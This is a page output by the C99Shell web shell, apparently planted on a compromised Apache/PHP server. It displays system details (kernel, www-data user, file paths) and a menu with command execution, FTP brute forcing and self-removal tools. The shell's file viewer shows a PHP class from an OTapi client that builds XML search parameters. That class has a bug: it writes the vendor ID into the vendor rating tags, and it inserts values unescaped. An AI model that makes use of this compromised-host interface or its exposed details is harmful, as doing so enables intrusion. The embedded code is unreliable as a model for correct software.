!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/OTapi/otapiphpclient-master/src/ValuesObject/   drwxr-xr-x
Free 13.27 GB of 57.97 GB (22.89%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     OtXmlItemParameters.php (5.87 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace OtApiClient\ValuesObject;

/**
 * Class OtXmlItemParameters
 * @package OtapiClient\ValuesObject
 */
class OtXmlItemParameters extends OtXmlParameters
{
    
/*** @var string */
    
protected string $paramName 'xmlParameters';
    
/*** @var string|NULL */
    
private ?string $provider NULL;
    
/*** @var string|NULL */
    
private ?string $categoryId NULL;
    
/*** @var float|NULL */
    
private ?float $minPrice NULL;
    
/*** @var float|NULL */
    
private ?float $maxPrice NULL;
    
/*** @var int|NULL */
    
private ?int $minVolume NULL;
    
/*** @var string|NULL */
    
private ?string $order NULL;
    
/*** @var bool */
    
private bool $isComplete TRUE;
    
/*** @var string|NULL */
    
private ?string $vendorName NULL;
    
/*** @var string|NULL */
    
private ?string $vendorId NULL;
    
/*** @var string|NULL */
    
private ?string $minVendorRating NULL;
    
/*** @var string|NULL */
    
private ?string $maxVendorRating NULL;
    
/*** @var string|NULL */
    
private ?string $itemTitle NULL;
    
/*** @var string|NULL */
    
private ?string $brandId NULL;

    
/*** @return string|NULL */
    
public function getProvider(): ?string
    
{
        return 
$this->provider;
    }

    
/*** @param string $provider */
    
public function setProvider(string $provider): void
    
{
        
$this->provider $provider;
    }

    
/*** @return string|null */
    
public function getCategoryId(): ?string
    
{
        return 
$this->categoryId;
    }

    
/*** @param string $categoryId */
    
public function setCategoryId(string $categoryId): void
    
{
        
$this->categoryId $categoryId;
    }

    
/*** @return float|null */
    
public function getMinPrice(): ?float
    
{
        return 
$this->minPrice;
    }

    
/*** @param float $minPrice */
    
public function setMinPrice(float $minPrice): void
    
{
        
$this->minPrice $minPrice;
    }

    
/*** @return float|null */
    
public function getMaxPrice(): ?float
    
{
        return 
$this->maxPrice;
    }

    
/*** @param float $maxPrice */
    
public function setMaxPrice(float $maxPrice): void
    
{
        
$this->maxPrice $maxPrice;
    }

    
/*** @return int|null */
    
public function getMinVolume(): ?int
    
{
        return 
$this->minVolume;
    }

    
/*** @param int $minVolume */
    
public function setMinVolume(int $minVolume): void
    
{
        
$this->minVolume $minVolume;
    }

    
/*** @return string|null */
    
public function getOrder(): ?string
    
{
        return 
$this->order;
    }

    
/*** @param string $order */
    
public function setOrder(string $order): void
    
{
        
$this->order $order;
    }

    
/*** @return bool */
    
public function getIsComplete(): bool
    
{
        return 
$this->isComplete;
    }

    
/*** @param bool $isComplete */
    
public function setIsComplete(bool $isComplete): void
    
{
        
$this->isComplete $isComplete;
    }

    
/*** @return string|null */
    
public function getVendorName(): ?string
    
{
        return 
$this->vendorName;
    }

    
/*** @param string $vendorName */
    
public function setVendorName(string $vendorName): void
    
{
        
$this->vendorName $vendorName;
    }

    
/*** @return string|null */
    
public function getVendorId(): ?string
    
{
        return 
$this->vendorId;
    }

    
/*** @param string $vendorId */
    
public function setVendorId(string $vendorId): void
    
{
        
$this->vendorId $vendorId;
    }

    
/*** @return string|NULL */
    
public function getMinVendorRating(): ?string
    
{
        return 
$this->minVendorRating;
    }

    
/*** @param string|NULL $minVendorRating */
    
public function setMinVendorRating(?string $minVendorRating): void
    
{
        
$this->minVendorRating $minVendorRating;
    }

    
/*** @return string|NULL */
    
public function getMaxVendorRating(): ?string
    
{
        return 
$this->maxVendorRating;
    }

    
/*** @param string|NULL $maxVendorRating */
    
public function setMaxVendorRating(?string $maxVendorRating): void
    
{
        
$this->maxVendorRating $maxVendorRating;
    }

    
/*** @return string|NULL */
    
public function getItemTitle(): ?string
    
{
        return 
$this->itemTitle;
    }

    
/*** @param string $itemTitle */
    
public function setItemTitle(string $itemTitle): void
    
{
        
$this->itemTitle $itemTitle;
    }

    
/*** @return string|NULL */
    
public function getBrandId(): ?string
    
{
        return 
$this->brandId;
    }

    
/*** @param string $brandId */
    
public function setBrandId(string $brandId): void
    
{
        
$this->brandId $brandId;
    }

    
/*** @return string */
    
public function createXmlParameters(): string
    
{
        
$xmlData   = [];
        
$xmlData[] = '<SearchItemsParameters>';
        if (
$this->getProvider()) {
            
$xmlData[] = '<Provider>' $this->getProvider() . '</Provider>';
        }
        if (
$this->getVendorName()) {
            
$xmlData[] = '<VendorName>' $this->getVendorName() . '</VendorName>';
        }
        if (
$this->getVendorId()) {
            
$xmlData[] = '<VendorId>' $this->getVendorId() . '</VendorId>';
        }
        if (
$this->getMinVendorRating()) {
            
$xmlData[] = '<MinVendorRating>' $this->getVendorId() . '</MinVendorRating>';
        }
        if (
$this->getMaxVendorRating()) {
            
$xmlData[] = '<MaxVendorRating>' $this->getVendorId() . '</MaxVendorRating>';
        }
        if (
$this->getItemTitle()) {
            
$xmlData[] = '<ItemTitle>' $this->getItemTitle() . '</ItemTitle>';
        }
        if (
$this->getBrandId()) {
            
$xmlData[] = '<BrandId>' $this->getBrandId() . '</BrandId>';
        }
        if (
$this->getCategoryId()) {
            
$xmlData[] = '<CategoryId>' $this->getCategoryId() . '</CategoryId>';
        }
        if (
$this->getMinPrice()) {
            
$xmlData[] = '<MinPrice>' $this->getMinPrice() . '</MinPrice>';
        }
        if (
$this->getMaxPrice()) {
            
$xmlData[] = '<MaxPrice>' $this->getMaxPrice() . '</MaxPrice>';
        }
        if (
$this->getMinVolume()) {
            
$xmlData[] = '<MinVolume>' $this->getMinVolume() . '</MinVolume>';
        }
        if (
$this->getOrder()) {
            
$xmlData[] = '<OrderBy>' $this->getOrder() . '</OrderBy>';
        } else {
            
$xmlData[] = '<OrderBy>Default</OrderBy>';
        }
        
$xmlData[] = '<Features><Feature Name="IsComplete">' . ($this->getIsComplete() ? 'true' 'false') . '</Feature></Features>';
        
$xmlData[] = '</SearchItemsParameters>';
        return 
implode(''$xmlData);
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0373 ]--